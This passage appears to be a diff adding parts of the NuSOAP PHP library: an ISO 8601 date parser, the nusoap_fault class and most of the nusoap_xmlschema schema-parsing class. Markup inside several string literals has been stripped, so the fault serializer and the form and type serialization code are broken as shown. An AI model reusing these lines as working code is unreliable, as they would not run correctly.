// centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]+)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + if(preg_match($pattern,$datestr,$regs)){ + // not utc + if($regs[8] != 'Z'){ + $op = substr($regs[8],0,1); + $h = substr($regs[8],1,2); + $m = substr($regs[8],strlen($regs[8])-2,2); + if($op == '-'){ + $regs[4] = $regs[4] + $h; + $regs[5] = $regs[5] + $m; + } elseif($op == '+'){ + $regs[4] = $regs[4] - $h; + $regs[5] = $regs[5] - $m; + } + } + return gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); +// return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z"); + } else { + return false; + } +} + +/** +* sleeps some number of microseconds +* +* @param string $usec the number of microseconds to sleep +* @access public +* @deprecated +*/ +function usleepWindows($usec) +{ + $start = gettimeofday(); + + do + { + $stop = gettimeofday(); + $timePassed = 1000000 * ($stop['sec'] - $start['sec']) + + $stop['usec'] - $start['usec']; + } + while ($timePassed < $usec); +} + +?> +* @version $Id$ +* @access public +*/ +class nusoap_fault extends nusoap_base { + /** + * The fault code (client|server) + * @var string + * @access private + */ + var $faultcode; + /** + * The fault actor + * @var string + * @access private + */ + var $faultactor; + /** + * The fault string, a description of the fault + * @var string + * @access private + */ + var $faultstring; + /** + * The fault detail, typically a string or array of string + * @var mixed + * @access private + */ + var $faultdetail; + + /** + * constructor + * + * @param string $faultcode (SOAP-ENV:Client | SOAP-ENV:Server) + * @param string $faultactor only used when msg routed between multiple actors + * @param string $faultstring human readable error message + * @param mixed $faultdetail detail, typically a string or array of string + */ + function nusoap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){ + parent::nusoap_base(); + $this->faultcode = $faultcode; + $this->faultactor = $faultactor; + $this->faultstring = $faultstring; + $this->faultdetail = $faultdetail; + } + + /** + * serialize a fault + * + * @return string The serialization of the fault instance. + * @access public + */ + function serialize(){ + $ns_string = ''; + foreach($this->namespaces as $k => $v){ + $ns_string .= "\n xmlns:$k=\"$v\""; + } + $return_msg = + 'soap_defencoding.'"?>'. + '\n". + ''. + ''. + $this->serialize_val($this->faultcode, 'faultcode'). + $this->serialize_val($this->faultactor, 'faultactor'). + $this->serialize_val($this->faultstring, 'faultstring'). + $this->serialize_val($this->faultdetail, 'detail'). + ''. + ''. + ''; + return $return_msg; + } +} + +/** + * Backward compatibility + */ +class soap_fault extends nusoap_fault { +} + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_xmlschema extends nusoap_base { + + // files + var $schema = ''; + var $xml = ''; + // namespaces + var $enclosingNamespaces; + // schema info + var $schemaInfo = array(); + var $schemaTargetNamespace = ''; + // types, elements, attributes defined by the schema + var $attributes = array(); + var $complexTypes = array(); + var $complexTypeStack = array(); + var $currentComplexType = null; + var $elements = array(); + var $elementStack = array(); + var $currentElement = null; + var $simpleTypes = array(); + var $simpleTypeStack = array(); + var $currentSimpleType = null; + // imports + var $imports = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + var $message = array(); + var $defaultNamespace = array(); + + /** + * constructor + * + * @param string $schema schema document URI + * @param string $xml xml document URI + * @param string $namespaces namespaces defined in enclosing XML + * @access public + */ + function nusoap_xmlschema($schema='',$xml='',$namespaces=array()){ + parent::nusoap_base(); + $this->debug('nusoap_xmlschema class instantiated, inside constructor'); + // files + $this->schema = $schema; + $this->xml = $xml; + + // namespaces + $this->enclosingNamespaces = $namespaces; + $this->namespaces = array_merge($this->namespaces, $namespaces); + + // parse schema file + if($schema != ''){ + $this->debug('initial schema file: '.$schema); + $this->parseFile($schema, 'schema'); + } + + // parse xml file + if($xml != ''){ + $this->debug('initial xml file: '.$xml); + $this->parseFile($xml, 'xml'); + } + + } + + /** + * parse an XML file + * + * @param string $xml path/URL to XML file + * @param string $type (schema | xml) + * @return boolean + * @access public + */ + function parseFile($xml,$type){ + // parse xml file + if($xml != ""){ + $xmlStr = @join("",@file($xml)); + if($xmlStr == ""){ + $msg = 'Error reading XML from '.$xml; + $this->setError($msg); + $this->debug($msg); + return false; + } else { + $this->debug("parsing $xml"); + $this->parseString($xmlStr,$type); + $this->debug("done parsing $xml"); + return true; + } + } + return false; + } + + /** + * parse an XML string + * + * @param string $xml path or URL + * @param string $type (schema|xml) + * @access private + */ + function parseString($xml,$type){ + // parse xml string + if($xml != ""){ + + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + + // Set the object for the parser. + xml_set_object($this->parser, $this); + + // Set the element handlers for the parser. + if($type == "schema"){ + xml_set_element_handler($this->parser, 'schemaStartElement','schemaEndElement'); + xml_set_character_data_handler($this->parser,'schemaCharacterData'); + } elseif($type == "xml"){ + xml_set_element_handler($this->parser, 'xmlStartElement','xmlEndElement'); + xml_set_character_data_handler($this->parser,'xmlCharacterData'); + } + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $errstr = sprintf('XML error parsing XML schema on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $xml); + $this->setError($errstr); + } + + xml_parser_free($this->parser); + } else{ + $this->debug('no xml passed to parseString()!!'); + $this->setError('no xml passed to parseString()!!'); + } + } + + /** + * gets a type name for an unnamed type + * + * @param string Element name + * @return string A type name for an unnamed type + * @access private + */ + function CreateTypeName($ename) { + $scope = ''; + for ($i = 0; $i < count($this->complexTypeStack); $i++) { + $scope .= $this->complexTypeStack[$i] . '_'; + } + return $scope . $ename . '_ContainedType'; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function schemaStartElement($parser, $name, $attrs) { + + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + if ($depth > 0) { + $this->defaultNamespace[$pos] = $this->defaultNamespace[$this->depth_array[$depth - 1]]; + } else { + $this->defaultNamespace[$pos] = false; + } + + // get element prefix + if($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + + // loop thru attributes, expanding, and registering namespace declarations + if(count($attrs) > 0){ + foreach($attrs as $k => $v){ + // if ns declarations, add to class level array of valid namespaces + if(preg_match('/^xmlns/',$k)){ + //$this->xdebug("$k: $v"); + //$this->xdebug('ns_prefix: '.$this->getPrefix($k)); + if($ns_prefix = substr(strrchr($k,':'),1)){ + //$this->xdebug("Add namespace[$ns_prefix] = $v"); + $this->namespaces[$ns_prefix] = $v; + } else { + $this->defaultNamespace[$pos] = $v; + if (! $this->getPrefixFromNamespace($v)) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $v; + } + } + if($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema'){ + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v.'-instance'; + } + } + } + foreach($attrs as $k => $v){ + // expand each attribute + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // find status, register data + switch($name){ + case 'all': // (optional) compositor content for a complexType + case 'choice': + case 'group': + case 'sequence': + //$this->xdebug("compositor $name for currentComplexType: $this->currentComplexType and currentElement: $this->currentElement"); + $this->complexTypes[$this->currentComplexType]['compositor'] = $name; + //if($name == 'all' || $name == 'sequence'){ + // $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + //} + break; + case 'attribute': // complexType attribute + //$this->xdebug("parsing attribute $attrs[name] $attrs[ref] of value: ".$attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']); + $this->xdebug("parsing attribute:"); + $this->appendDebug($this->varDump($attrs)); + if (!isset($attrs['form'])) { + // TODO: handle globals + $attrs['form'] = $this->schemaInfo['attributeFormDefault']; + } + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + if (!strpos($v, ':')) { + // no namespace in arrayType attribute value... + if ($this->defaultNamespace[$pos]) { + // ...so use the default + $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'] = $this->defaultNamespace[$pos] . ':' . $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } + } + } + if(isset($attrs['name'])){ + $this->attributes[$attrs['name']] = $attrs; + $aname = $attrs['name']; + } elseif(isset($attrs['ref']) && $attrs['ref'] == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){ + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $aname = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $aname = ''; + } + } elseif(isset($attrs['ref'])){ + $aname = $attrs['ref']; + $this->attributes[$attrs['ref']] = $attrs; + } + + if($this->currentComplexType){ // This should *always* be + $this->complexTypes[$this->currentComplexType]['attrs'][$aname] = $attrs; + } + // arrayType attribute + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']) || $this->getLocalPart($aname) == 'arrayType'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + $prefix = $this->getPrefix($aname); + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])){ + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $v = ''; + } + if(strpos($v,'[,]')){ + $this->complexTypes[$this->currentComplexType]['multidimensional'] = true; + } + $v = substr($v,0,strpos($v,'[')); // clip the [] + if(!strpos($v,':') && isset($this->typemap[$this->XMLSchemaVersion][$v])){ + $v = $this->XMLSchemaVersion.':'.$v; + } + $this->complexTypes[$this->currentComplexType]['arrayType'] = $v; + } + break; + case 'complexContent': // (optional) content for a complexType + $this->xdebug("do nothing for element $name"); + break; + case 'complexType': + array_push($this->complexTypeStack, $this->currentComplexType); + if(isset($attrs['name'])){ + // TODO: what is the scope of named complexTypes that appear + // nested within other c complexTypes? + $this->xdebug('processing named complexType '.$attrs['name']); + //$this->currentElement = false; + $this->currentComplexType = $attrs['name']; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } else { + $name = $this->CreateTypeName($this->currentElement); + $this->xdebug('processing unnamed complexType for element ' . $this->currentElement . ' named ' . $name); + $this->currentComplexType = $name; + //$this->currentElement = false; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'false'; + break; + case 'element': + array_push($this->elementStack, $this->currentElement); + if (!isset($attrs['form'])) { + if ($this->currentComplexType) { + $attrs['form'] = $this->schemaInfo['elementFormDefault']; + } else { + // global + $attrs['form'] = 'qualified'; + } + } + if(isset($attrs['type'])){ + $this->xdebug("processing typed element ".$attrs['name']." of type ".$attrs['type']); + if (! $this->getPrefix($attrs['type'])) { + if ($this->defaultNamespace[$pos]) { + $attrs['type'] = $this->defaultNamespace[$pos] . ':' . $attrs['type']; + $this->xdebug('used default namespace to make type ' . $attrs['type']); + } + } + // This is for constructs like + // + // + // + // + // + if ($this->currentComplexType && $this->complexTypes[$this->currentComplexType]['phpType'] == 'array') { + $this->xdebug('arrayType for unusual array is ' . $attrs['type']); + $this->complexTypes[$this->currentComplexType]['arrayType'] = $attrs['type']; + } + $this->currentElement = $attrs['name']; + $ename = $attrs['name']; + } elseif(isset($attrs['ref'])){ + $this->xdebug("processing element as ref to ".$attrs['ref']); + $this->currentElement = "ref to ".$attrs['ref']; + $ename = $this->getLocalPart($attrs['ref']); + } else { + $type = $this->CreateTypeName($this->currentComplexType . '_' . $attrs['name']); + $this->xdebug("processing untyped element " . $attrs['name'] . ' type ' . $type); + $this->currentElement = $attrs['name']; + $attrs['type'] = $this->schemaTargetNamespace . ':' . $type; + $ename = $attrs['name']; + } + if (isset($ename) && $this->currentComplexType) { + $this->xdebug("add element $ename to complexType $this->currentComplexType"); + $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs; + } elseif (!isset($attrs['ref'])) { + $this->xdebug("add element $ename to elements array"); + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + } + break; + case 'enumeration': // restriction value list member + $this->xdebug('enumeration ' . $attrs['value']); + if ($this->currentSimpleType) { + $this->simpleTypes[$this->currentSimpleType]['enumeration'][] = $attrs['value']; + } elseif ($this->currentComplexType) { + $this->complexTypes[$this->currentComplexType]['enumeration'][] = $attrs['value']; + } + break; + case 'extension': // simpleContent or complexContent type extension + $this->xdebug('extension ' . $attrs['base']); + if ($this->currentComplexType) { + $ns = $this->getPrefix($attrs['base']); + if ($ns == '') { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $this->schemaTargetNamespace . ':' . $attrs['base']; + } else { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $attrs['base']; + } + } else { + $this->xdebug('no current complexType to set extensionBase'); + } + break; + case 'import': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('import namespace ' . $attrs['namespace'] . ' from ' . $attrs['schemaLocation']); + $this->imports[$attrs['namespace']][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('import namespace ' . $attrs['namespace']); + $this->imports[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + } + break; + case 'include': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('include into namespace ' . $this->schemaTargetNamespace . ' from ' . $attrs['schemaLocation']); + $this->imports[$this->schemaTargetNamespace][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('ignoring invalid XML Schema construct: include without schemaLocation attribute'); + } + break; + case 'list': // simpleType value list + $this->xdebug("do nothing for element $name"); + break; + case 'restriction': // simpleType, simpleContent or complexContent value restriction + $this->xdebug('restriction ' . $attrs['base']); + if($this->currentSimpleType){ + $this->simpleTypes[$this->currentSimpleType]['type'] = $attrs['base']; + } elseif($this->currentComplexType){ + $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base']; + if(strstr($attrs['base'],':') == ':Array'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } + } + break; + case 'schema': + $this->schemaInfo = $attrs; + $this->schemaInfo['schemaVersion'] = $this->getNamespaceFromPrefix($prefix); + if (isset($attrs['targetNamespace'])) { + $this->schemaTargetNamespace = $attrs['targetNamespace']; + } + if (!isset($attrs['elementFormDefault'])) { + $this->schemaInfo['elementFormDefault'] = 'unqualified'; + } + if (!isset($attrs['attributeFormDefault'])) { + $this->schemaInfo['attributeFormDefault'] = 'unqualified'; + } + break; + case 'simpleContent': // (optional) content for a complexType + if ($this->currentComplexType) { // This should *always* be + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'true'; + } else { + $this->xdebug("do nothing for element $name because there is no current complexType"); + } + break; + case 'simpleType': + array_push($this->simpleTypeStack, $this->currentSimpleType); + if(isset($attrs['name'])){ + $this->xdebug("processing simpleType for name " . $attrs['name']); + $this->currentSimpleType = $attrs['name']; + $this->simpleTypes[ $attrs['name'] ] = $attrs; + $this->simpleTypes[ $attrs['name'] ]['typeClass'] = 'simpleType'; + $this->simpleTypes[ $attrs['name'] ]['phpType'] = 'scalar'; + } else { + $name = $this->CreateTypeName($this->currentComplexType . '_' . $this->currentElement); + $this->xdebug('processing unnamed simpleType for element ' . $this->currentElement . ' named ' . $name); + $this->currentSimpleType = $name; + //$this->currentElement = false; + $this->simpleTypes[$this->currentSimpleType] = $attrs; + $this->simpleTypes[$this->currentSimpleType]['phpType'] = 'scalar'; + } + break; + case 'union': // simpleType type list + $this->xdebug("do nothing for element $name"); + break; + default: + $this->xdebug("do not have any logic to process element $name"); + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function schemaEndElement($parser, $name) { + // bring depth down a notch + $this->depth--; + // position of current element is equal to the last value left in depth_array for my depth + if(isset($this->depth_array[$this->depth])){ + $pos = $this->depth_array[$this->depth]; + } + // get element prefix + if ($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + // move on... + if($name == 'complexType'){ + $this->xdebug('done processing complexType ' . ($this->currentComplexType ? $this->currentComplexType : '(unknown)')); + $this->xdebug($this->varDump($this->complexTypes[$this->currentComplexType])); + $this->currentComplexType = array_pop($this->complexTypeStack); + //$this->currentElement = false; + } + if($name == 'element'){ + $this->xdebug('done processing element ' . ($this->currentElement ? $this->currentElement : '(unknown)')); + $this->currentElement = array_pop($this->elementStack); + } + if($name == 'simpleType'){ + $this->xdebug('done processing simpleType ' . ($this->currentSimpleType ? $this->currentSimpleType : '(unknown)')); + $this->xdebug($this->varDump($this->simpleTypes[$this->currentSimpleType])); + $this->currentSimpleType = array_pop($this->simpleTypeStack); + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function schemaCharacterData($parser, $data){ + $pos = $this->depth_array[$this->depth - 1]; + $this->message[$pos]['cdata'] .= $data; + } + + /** + * serialize the schema + * + * @access public + */ + function serializeSchema(){ + + $schemaPrefix = $this->getPrefixFromNamespace($this->XMLSchemaVersion); + $xml = ''; + // imports + if (sizeof($this->imports) > 0) { + foreach($this->imports as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= " <$schemaPrefix:import location=\"" . $ii['location'] . '" namespace="' . $ns . "\" />\n"; + } else { + $xml .= " <$schemaPrefix:import namespace=\"" . $ns . "\" />\n"; + } + } + } + } + // complex types + foreach($this->complexTypes as $typeName => $attrs){ + $contentStr = ''; + // serialize child elements + if(isset($attrs['elements']) && (count($attrs['elements']) > 0)){ + foreach($attrs['elements'] as $element => $eParts){ + if(isset($eParts['ref'])){ + $contentStr .= " <$schemaPrefix:element ref=\"$element\"/>\n"; + } else { + $contentStr .= " <$schemaPrefix:element name=\"$element\" type=\"" . $this->contractQName($eParts['type']) . "\""; + foreach ($eParts as $aName => $aValue) { + // handle, e.g., abstract, default, form, minOccurs, maxOccurs, nillable + if ($aName != 'name' && $aName != 'type') { + $contentStr .= " $aName=\"$aValue\""; + } + } + $contentStr .= "/>\n"; + } + } + // compositor wraps elements + if (isset($attrs['compositor']) && ($attrs['compositor'] != '')) { + $contentStr = " <$schemaPrefix:$attrs[compositor]>\n".$contentStr." \n"; + } + } + // attributes + if(isset($attrs['attrs']) && (count($attrs['attrs']) >= 1)){ + foreach($attrs['attrs'] as $attr => $aParts){ + $contentStr .= " <$schemaPrefix:attribute"; + foreach ($aParts as $a => $v) { + if ($a == 'ref' || $a == 'type') { + $contentStr .= " $a=\"".$this->contractQName($v).'"'; + } elseif ($a == 'http://schemas.xmlsoap.org/wsdl/:arrayType') { + $this->usedNamespaces['wsdl'] = $this->namespaces['wsdl']; + $contentStr .= ' wsdl:arrayType="'.$this->contractQName($v).'"'; + } else { + $contentStr .= " $a=\"$v\""; + } + } + $contentStr .= "/>\n"; + } + } + // if restriction + if (isset($attrs['restrictionBase']) && $attrs['restrictionBase'] != ''){ + $contentStr = " <$schemaPrefix:restriction base=\"".$this->contractQName($attrs['restrictionBase'])."\">\n".$contentStr." \n"; + // complex or simple content + if ((isset($attrs['elements']) && count($attrs['elements']) > 0) || (isset($attrs['attrs']) && count($attrs['attrs']) > 0)){ + $contentStr = " <$schemaPrefix:complexContent>\n".$contentStr." \n"; + } + } + // finalize complex type + if($contentStr != ''){ + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\">\n".$contentStr." \n"; + } else { + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\"/>\n"; + } + $xml .= $contentStr; + } + // simple types + if(isset($this->simpleTypes) && count($this->simpleTypes) > 0){ + foreach($this->simpleTypes as $typeName => $eParts){ + $xml .= " <$schemaPrefix:simpleType name=\"$typeName\">\n <$schemaPrefix:restriction base=\"".$this->contractQName($eParts['type'])."\">\n"; + if (isset($eParts['enumeration'])) { + foreach ($eParts['enumeration'] as $e) { + $xml .= " <$schemaPrefix:enumeration value=\"$e\"/>\n"; + } + } + $xml .= " \n "; + } + } + // elements + if(isset($this->elements) && count($this->elements) > 0){ + foreach($this->elements as $element => $eParts){ + $xml .= " <$schemaPrefix:element name=\"$element\" type=\"".$this->contractQName($eParts['type'])."\"/>\n"; + } + } + // attributes + if(isset($this->attributes) && count($this->attributes) > 0){ + foreach($this->attributes as $attr => $aParts){ + $xml .= " <$schemaPrefix:attribute name=\"$attr\" type=\"".$this->contractQName($aParts['type'])."\"\n/>"; + } + } + // finish 'er up + $attr = ''; + foreach ($this->schemaInfo as $k => $v) { + if ($k == 'elementFormDefault' || $k == 'attributeFormDefault') { + $attr .= " $k=\"$v\""; + } + } + $el = "<$schemaPrefix:schema$attr targetNamespace=\"$this->schemaTargetNamespace\"\n"; + foreach (array_diff($this->usedNamespaces, $this->enclosingNamespaces) as $nsp => $ns) { + $el .= " xmlns:$nsp=\"$ns\""; + } + $xml = $el . ">\n".$xml."\n"; + return $xml; + } + + /** + * adds debug data to the clas level debug string + * + * @param string $string debug data + * @access private + */ + function xdebug($string){ + $this->debug('<' . $this->schemaTargetNamespace . '> '.$string); + } + + /** + * get the PHP type of a user defined type in the schema + * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays + * returns false if no type exists, or not w/ the given namespace + * else returns a string that is either a native php type, or 'struct' + * + * @param string $type name of defined type + * @param string $ns namespace of type + * @return mixed + * @access public + * @deprecated + */ + function getPHPType($type,$ns){ + if(isset($this->typemap[$ns][$type])){ + //print "found type '$type' and ns $ns in typemap
        "; + return $this->typemap[$ns][$type]; + } elseif(isset($this->complexTypes[$type])){ + //print "getting type '$type' and ns $ns from complexTypes array
        "; + return $this->complexTypes[$type]['phpType']; + } + return false; + } + + /** + * returns an associative array of information about a given type + * returns false if no type exists by the given name + * + * For a complexType typeDef = array( + * 'restrictionBase' => '', + * 'phpType' => '', + * 'compositor' => '(sequence|all)', + * 'elements' => array(), // refs to elements array + * 'attrs' => array() // refs to attributes array + * ... and so on (see addComplexType) + * ) + * + * For simpleType or element, the array has different keys. + * + * @param string $type + * @return mixed + * @access public + * @see addComplexType + * @see addSimpleType + * @see addElement + */ + function getTypeDef($type){ + //$this->debug("in getTypeDef for type $type"); + if (substr($type, -1) == '^') { + $is_element = 1; + $type = substr($type, 0, -1); + } else { + $is_element = 0; + } + + if((! $is_element) && isset($this->complexTypes[$type])){ + $this->xdebug("in getTypeDef, found complexType $type"); + return $this->complexTypes[$type]; + } elseif((! $is_element) && isset($this->simpleTypes[$type])){ + $this->xdebug("in getTypeDef, found simpleType $type"); + if (!isset($this->simpleTypes[$type]['phpType'])) { + // get info for type to tack onto the simple type + // TODO: can this ever really apply (i.e. what is a simpleType really?) + $uqType = substr($this->simpleTypes[$type]['type'], strrpos($this->simpleTypes[$type]['type'], ':') + 1); + $ns = substr($this->simpleTypes[$type]['type'], 0, strrpos($this->simpleTypes[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for simpleType $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->simpleTypes[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->simpleTypes[$type]['elements'] = $etype['elements']; + } + } + } + return $this->simpleTypes[$type]; + } elseif(isset($this->elements[$type])){ + $this->xdebug("in getTypeDef, found element $type"); + if (!isset($this->elements[$type]['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($this->elements[$type]['type'], strrpos($this->elements[$type]['type'], ':') + 1); + $ns = substr($this->elements[$type]['type'], 0, strrpos($this->elements[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for element $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->elements[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->elements[$type]['elements'] = $etype['elements']; + } + if (isset($etype['extensionBase'])) { + $this->elements[$type]['extensionBase'] = $etype['extensionBase']; + } + } elseif ($ns == 'http://www.w3.org/2001/XMLSchema') { + $this->xdebug("in getTypeDef, element $type is an XSD type"); + $this->elements[$type]['phpType'] = 'scalar'; + } + } + return $this->elements[$type]; + } elseif(isset($this->attributes[$type])){ + $this->xdebug("in getTypeDef, found attribute $type"); + return $this->attributes[$type]; + } elseif (preg_match('/_ContainedType$/', $type)) { + $this->xdebug("in getTypeDef, have an untyped element $type"); + $typeDef['typeClass'] = 'simpleType'; + $typeDef['phpType'] = 'scalar'; + $typeDef['type'] = 'http://www.w3.org/2001/XMLSchema:string'; + return $typeDef; + } + $this->xdebug("in getTypeDef, did not find $type"); + return false; + } + + /** + * returns a sample serialization of a given type, or false if no type by the given name + * + * @param string $type name of type + * @return mixed + * @access public + * @deprecated + */ + function serializeTypeDef($type){ + //print "in sTD() for type $type
        "; + if($typeDef = $this->getTypeDef($type)){ + $str .= '<'.$type; + if(is_array($typeDef['attrs'])){ + foreach($typeDef['attrs'] as $attName => $data){ + $str .= " $attName=\"{type = ".$data['type']."}\""; + } + } + $str .= " xmlns=\"".$this->schema['targetNamespace']."\""; + if(count($typeDef['elements']) > 0){ + $str .= ">"; + foreach($typeDef['elements'] as $element => $eData){ + $str .= $this->serializeTypeDef($element); + } + $str .= ""; + } elseif($typeDef['typeClass'] == 'element') { + $str .= ">"; + } else { + $str .= "/>"; + } + return $str; + } + return false; + } + + /** + * returns HTML form elements that allow a user + * to enter values for creating an instance of the given type. + * + * @param string $name name for type instance + * @param string $type name of type + * @return string + * @access public + * @deprecated + */ + function typeToForm($name,$type){ + // get typedef + if($typeDef = $this->getTypeDef($type)){ + // if struct + if($typeDef['phpType'] == 'struct'){ + $buffer .= ''; + foreach($typeDef['elements'] as $child => $childDef){ + $buffer .= " + + "; + } + $buffer .= '
        $childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):
        '; + // if array + } elseif($typeDef['phpType'] == 'array'){ + $buffer .= ''; + for($i=0;$i < 3; $i++){ + $buffer .= " + + "; + } + $buffer .= '
        array item (type: $typeDef[arrayType]):
        '; + // if scalar + } else { + $buffer .= ""; + } + } else { + $buffer .= ""; + } + return $buffer; + } + + /** + * adds a complex type to the schema + * + * example: array + * + * addType( + * 'ArrayOfstring', + * 'complexType', + * 'array', + * '', + * 'SOAP-ENC:Array', + * array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'string[]'), + * 'xsd:string' + * ); + * + * example: PHP associative array ( SOAP Struct ) + * + * addType( + * 'SOAPStruct', + * 'complexType', + * 'struct', + * 'all', + * array('myVar'=> array('name'=>'myVar','type'=>'string') + * ); + * + * @param name + * @param typeClass (complexType|simpleType|attribute) + * @param phpType: currently supported are array and struct (php assoc array) + * @param compositor (all|sequence|choice) + * @param restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param elements = array ( name = array(name=>'',type=>'') ) + * @param attrs = array( + * array( + * 'ref' => "http://schemas.xmlsoap.org/soap/encoding/:arrayType", + * "http://schemas.xmlsoap.org/wsdl/:arrayType" => "string[]" + * ) + * ) + * @param arrayType: namespace:name (http://www.w3.org/2001/XMLSchema:string) + * @access public + * @see getTypeDef + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType=''){ + $this->complexTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'compositor'=> $compositor, + 'restrictionBase' => $restrictionBase, + 'elements' => $elements, + 'attrs' => $attrs, + 'arrayType' => $arrayType + ); + + $this->xdebug("addComplexType $name:"); + $this->appendDebug($this->varDump($this->complexTypes[$name])); + } + + /** + * adds a simple type to the schema + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @access public + * @see nusoap_xmlschema + * @see getTypeDef + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $this->simpleTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'type' => $restrictionBase, + 'enumeration' => $enumeration + ); + + $this->xdebug("addSimpleType $name:"); + $this->appendDebug($this->varDump($this->simpleTypes[$name])); + } + + /** 